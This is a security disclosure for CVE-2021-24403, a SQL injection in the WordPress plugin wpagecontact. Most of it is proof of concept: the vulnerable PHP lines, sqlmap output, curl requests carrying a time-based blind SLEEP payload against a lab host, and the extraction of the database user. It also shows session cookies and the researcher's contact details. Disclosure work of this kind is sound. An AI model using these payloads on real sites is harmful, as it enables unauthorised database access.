Wp Plugin Wpagecontact

Plugin Details

Plugin Name: wp-plugin : wpagecontact
Effected Version : 1 (and most probably lower version's if any)
Vulnerability : Injection
Minimum Level of Access Required : Administrator
CVE Number : CVE-2021-24403
Identified by : Syed Sheeraz Ali
WPScan Reference URL

Disclosure Timeline

- May 9, 2021: Issue Identified and Disclosed to WPScan
- May 13, 2021 : Plugin Closed
- June 10, 2021 : CVE Assigned
- August 22, 2021 : Public Disclosure

Technical Details

Vulnerable File: `/wpagecontact.php#307`

Vulnerable Code block and parameter:

Administrator level SQLi for parameter Vulnerable Code: /wpagecontact.php#307

```
123:    define('HIDDEN_FIELD', 'wpc_hidden_field');
307:    $editcontact = $wpdb->get_row("SELECT * FROM $table_name WHERE id = " .  $_POST[ HIDDEN_FIELD ]);
-------------------------------------------------------------------------------
313:    $wpdb->query("DELETE FROM $table_name WHERE id = " .  $_POST[ HIDDEN_FIELD ]);
```

PoC Screenshots

```
POST parameter 'wpc_hidden_field' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 408 HTTP(s) requests:
---
Parameter: wpc_hidden_field (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace
    Payload: wpc_hidden_field=(CASE WHEN (7627=7627) THEN SLEEP(5) ELSE 7627 END)&wpc_method_field=Edit&wpc_id_field=1&wpc_first_field=sheeraz&wpc_last_field=ali&wpc_email_field=sheerazalicybersec@gmail.com&wpc_phone_field=+917974234098&wpc_fax_field=axdsa&wpc_company_field=student&wpc_division_field=as&wpc_image_field=http://192.168.0.102/sdasd&wpc_misc_field=asd
---
[17:13:59] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12
[17:13:59] [INFO] fetching current user
[17:13:59] [INFO] retrieved:
[17:13:59] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[17:14:15] [INFO] adjusting time delay to 1 second due to good response times
bob@localhost
current user: 'bob@localhost'
[17:14:59] [INFO] fetched data logged to text files under '/Users/sheerazali/.local/share/sqlmap/output/172.28.128.50'

[*] ending @ 17:14:59 /2021-05-06/
```

```
➜  sqlmap-dev git:(master) ✗ time curl -i -s -k -X $'POST' \
    -H $'Host: 172.28.128.50' -H $'Content-Length: 315' -H $'Cache-Control: max-age=0' -H $'Upgrade-Insecure-Requests: 1' -H $'Origin: http://172.28.128.50' -H $'Content-Type: application/x-www-form-urlencoded' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' -H $'Sec-GPC: 1' -H $'Referer: http://172.28.128.50/wp-admin/admin.php?page=wpagecontact-plugin' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8' -H $'Connection: close' \
    -b $'wordpress_232395f24f6cff47569f2739c21385d6=admin%7C1620460502%7CijOCmlgmjMgoJK3UsTwIOiXIcfoc1SikqZGRE8FZzNF%7C3d7d033b8daf07dedf1e1a8dcd76b6e1e0dcbafe4aaccb82e6746a6aca1573ac; wordpress_test_cookie=WP%20Cookie%20check; tk_ai=woo%3AiQVT6EvbuCedvp65Wb1%2BuUEl; PHPSESSID=d8f8beced189cdd7cb849dedbb8a8383; wordpress_logged_in_232395f24f6cff47569f2739c21385d6=admin%7C1620460502%7CijOCmlgmjMgoJK3UsTwIOiXIcfoc1SikqZGRE8FZzNF%7C7592628b1a41de06805c47e90606ccc7b50c0188ae4783aef3d87442aa29d6f5; wp-settings-time-1=1620302327' \
    --data-binary $'wpc_hidden_field=Y&wpc_method_field=Edit&wpc_id_field=1&wpc_first_field=sheeraz&wpc_last_field=ali&wpc_email_field=sheerazalicybersec%40gmail.com&wpc_phone_field=%2B917974234098&wpc_fax_field=axdsa&wpc_company_field=student&wpc_division_field=as&wpc_image_field=http%3A%2F%2F192.168.0.102%2Fsdasd&wpc_misc_field=asd' \
    $'http://172.28.128.50/wp-admin/admin.php?page=wpagecontact-plugin'
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 06 May 2021 12:00:08 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Set-Cookie: wp-settings-1=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: wp-settings-time-1=1620302408; expires=Fri, 06-May-2022 12:00:08 GMT; Max-Age=31536000; path=/
Content-Encoding: gzip

curl -i -s -k -X $'POST' -H $'Host: 172.28.128.50' -H $'Content-Length: 315'   0.00s user 0.00s system 8% cpu 0.076 total
```

```
→  sqlmap-dev git:(master) ✗ time curl -i -s -k -X $'POST' \
    -H $'Host: 172.28.128.50' -H $'Content-Length: 315' -H $'Cache-Control: max-age=0' -H $'Upgrade-Insecure-Requests: 1' -H $'Origin: http://172.28.128.50' -H $'Content-Type: application/x-www-form-urlencoded' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' -H $'Sec-GPC: 1' -H $'Referer: http://172.28.128.50/wp-admin/admin.php?page=wpagecontact-plugin' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8' -H $'Connection: close' \
    -b $'wordpress_232395f24f6cff47569f2739c21385d6=admin%7C1620460502%7CijOCmlgmjMgoJK3UsTwIOiXIcfoc1SikqZGRE8FZzNF%7C3d7d033b8daf07dedf1e1a8dcd76b6e1e0dcbafe4aaccb82e6746a6aca1573ac; wordpress_test_cookie=WP%20Cookie%20check; tk_ai=woo%3AiQVT6EvbuCedvp65Wb1%2BuUEl; PHPSESSID=d8f8beced189cdd7cb849dedbb8a8383; wordpress_logged_in_232395f24f6cff47569f2739c21385d6=admin%7C1620460502%7CijOCmlgmjMgoJK3UsTwIOiXIcfoc1SikqZGRE8FZzNF%7C7592628b1a41de06805c47e90606ccc7b50c0188ae4783aef3d87442aa29d6f5; wp-settings-time-1=1620302327' \
    --data-binary $'wpc_hidden_field=(CASE WHEN (7627=7627) THEN SLEEP(5) ELSE 7627 END)&wpc_method_field=Edit&wpc_id_field=1&wpc_first_field=sheeraz&wpc_last_field=ali&wpc_email_field=sheerazalicybersec%40gmail.com&wpc_phone_field=%2B917974234098&wpc_fax_field=axdsa&wpc_company_field=student&wpc_division_field=as&wpc_image_field=http%3A%2F%2F192.168.0.102%2Fsdasd&wpc_misc_field=asd' \
    $'http://172.28.128.50/wp-admin/admin.php?page=wpagecontact-plugin'
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 06 May 2021 12:00:22 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Set-Cookie: wp-settings-1=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: wp-settings-time-1=1620302422; expires=Fri, 06-May-2022 12:00:22 GMT; Max-Age=31536000; path=/
Content-Encoding: gzip

curl -i -s -k -X $'POST' -H $'Host: 172.28.128.50' -H $'Content-Length: 315'   0.00s user 0.01s system 0% cpu 5.076 total
```

```
→  sqlmap-dev git:(master) ✗ time curl -i -s -k -X $'POST' \
    -H $'Host: 172.28.128.50' -H $'Content-Length: 315' -H $'Cache-Control: max-age=0' -H $'Upgrade-Insecure-Requests: 1' -H $'Origin: http://172.28.128.50' -H $'Content-Type: application/x-www-form-urlencoded' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' -H $'Sec-GPC: 1' -H $'Referer: http://172.28.128.50/wp-admin/admin.php?page=wpagecontact-plugin' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8' -H $'Connection: close' \
    -b $'wordpress_232395f24f6cff47569f2739c21385d6=admin%7C1620460502%7CijOCmlgmjMgoJK3UsTwIOiXIcfoc1SikqZGRE8FZzNF%7C3d7d033b8daf07dedf1e1a8dcd76b6e1e0dcbafe4aaccb82e6746a6aca1573ac; wordpress_test_cookie=WP%20Cookie%20check; tk_ai=woo%3AiQVT6EvbuCedvp65Wb1%2BuUEl; PHPSESSID=d8f8beced189cdd7cb849dedbb8a8383; wordpress_logged_in_232395f24f6cff47569f2739c21385d6=admin%7C1620460502%7CijOCmlgmjMgoJK3UsTwIOiXIcfoc1SikqZGRE8FZzNF%7C7592628b1a41de06805c47e90606ccc7b50c0188ae4783aef3d87442aa29d6f5; wp-settings-time-1=1620302327' \
    --data-binary $'wpc_hidden_field=(CASE WHEN (7627=7627) THEN SLEEP(15) ELSE 7627 END)&wpc_method_field=Edit&wpc_id_field=1&wpc_first_field=sheeraz&wpc_last_field=ali&wpc_email_field=sheerazalicybersec%40gmail.com&wpc_phone_field=%2B917974234098&wpc_fax_field=axdsa&wpc_company_field=student&wpc_division_field=as&wpc_image_field=http%3A%2F%2F192.168.0.102%2Fsdasd&wpc_misc_field=asd' \
    $'http://172.28.128.50/wp-admin/admin.php?page=wpagecontact-plugin'
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 06 May 2021 12:00:37 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Set-Cookie: wp-settings-1=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: wp-settings-time-1=1620302437; expires=Fri, 06-May-2022 12:00:37 GMT; Max-Age=31536000; path=/
Content-Encoding: gzip

curl -i -s -k -X $'POST' -H $'Host: 172.28.128.50' -H $'Content-Length: 315'   0.00s user 0.00s system 0% cpu 15.075 total
```

Request

```
POST /wp-admin/admin.php?page=wpagecontact-plugin HTTP/1.1
Host: 172.28.128.50
Content-Length: 315
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.28.128.50
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-ex
Sec-GPC: 1
Referer: http://172.28.128.50/wp-admin/admin.php?page=wpagecontact-plugin
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_232395f24f6cff47569f2739c21385d6=admin%7C1620460502%7CijOCmlgmjMgoJK3UsTwIOiXIcfoc1SikqZGRE8FZzNF%7C3d7d033b
Connection: close

wpc_hidden_field=Y&wpc_method_field=Edit&wpc_id_field=1&wpc_first_field=sheeraz&wpc_last_field=ali&wpc_email_field=sheerazalic
```

```
sqlmap identified the following injection point(s) with a total of 408 HTTP(s) requests:
---
Parameter: wpc_hidden_field (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace
    Payload: wpc_hidden_field=(CASE WHEN (7627=7627) THEN SLEEP(5) ELSE 7627 END)&wpc_method_field=Edit&wpc_id_field=1&wpc_fir
---
[17:13:59] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12
[17:13:59] [INFO] fetching current user
```

```
[17:13:59] [INFO] retrieved:
[17:13:59] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[17:14:15] [INFO] adjusting time delay to 1 second due to good response times
bob@localhost
current user: 'bob@localhost'
[17:14:59] [INFO] fetched data logged to text files under '/Users/sheerazali/.local/share/sqlmap/output/172.28.128.50'
```